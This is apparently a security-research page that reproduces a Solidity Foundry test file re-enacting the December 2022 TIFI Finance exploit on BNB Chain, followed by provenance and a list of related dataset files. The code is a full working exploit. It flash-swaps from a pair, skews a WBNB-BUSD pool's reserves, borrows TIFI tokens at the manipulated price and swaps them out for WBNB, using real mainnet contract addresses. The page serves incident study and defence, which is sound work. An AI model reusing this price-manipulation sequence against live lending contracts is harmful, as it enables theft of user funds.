Public reproduction file
src/test/2022-12/TIFI_exp.sol
Public reproduction file for dataset entry - TIFIToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/peckshield/status/16014926055353999369// @TX10// https://bscscan.com/tx/0x1c5272ce35338c57c6b9ea710a09766a17bbf14b61438940c3072ed49bfec40212interface TIFIFinance {13 function deposit(address token, uint256 amount) external;14 function borrow(address qToken, uint256 amount) external;15}17contract ContractTest is Test {18 TIFIFinance TIFI = TIFIFinance(0x8A6F7834A9d60090668F5db33FEC353a7Fb4704B);19 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);20 Uni_Router_V2 TIFIRouter = Uni_Router_V2(0xC8595392B8ca616A226dcE8F69D9E0c7D4C81FE4);21 Uni_Pair_V2 Pair = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);22 IERC20 TIFIToken = IERC20(0x17E65E6b9B166Fb8e7c59432F0db126711246BC0);23 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);24 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);28 function setUp() public {29 cheats.createSelectFork("bsc", 23_778_726);30 }32 function testExploit() public {33 WBNB.approve(address(TIFIRouter), type(uint256).max);34 BUSD.approve(address(TIFI), type(uint256).max);35 TIFIToken.approve(address(Router), type(uint256).max);36 Pair.swap(5 * 1e18, 500 * 1e18, address(this), new bytes(1));38 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);39 }41 function pancakeCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {42 TIFI.deposit(address(BUSD), BUSD.balanceOf(address(this)));43 WBNBToBUSD(); // change the reserve of WBNB - BUSD44 TIFI.borrow(address(TIFIToken), TIFIToken.balanceOf(address(TIFI))); //call getReserves of WBNB - BUSD LP and borrow TIFI TOKEN45 TIFIToWBNB();46 WBNB.transfer(address(Pair), 7 * 1e18);47 }49 function WBNBToBUSD() internal {50 address[] memory path = new address[](2);51 path[0] = address(WBNB);52 path[1] = address(BUSD);53 TIFIRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(54 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp55 );56 }58 function TIFIToWBNB() internal {59 address[] memory path = new address[](2);60 path[0] = address(TIFIToken);61 path[1] = address(WBNB);62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(63 TIFIToken.balanceOf(address(this)), 0, path, address(this), block.timestamp64 );65 }66}Analysis
Dataset entry
Public Foundry test for “- TIFIToken” (2022-12-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- TIFIToken
- Path
- src/test/2022-12/TIFI_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5ad78618b8add19d6b2856f6e0783ca920046199
- Language
- Solidity
- Size
- 67 lines
- Date
- 2022-12-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/TIFI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5ad78618b8add19d6b2856f6e0783ca920046199, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.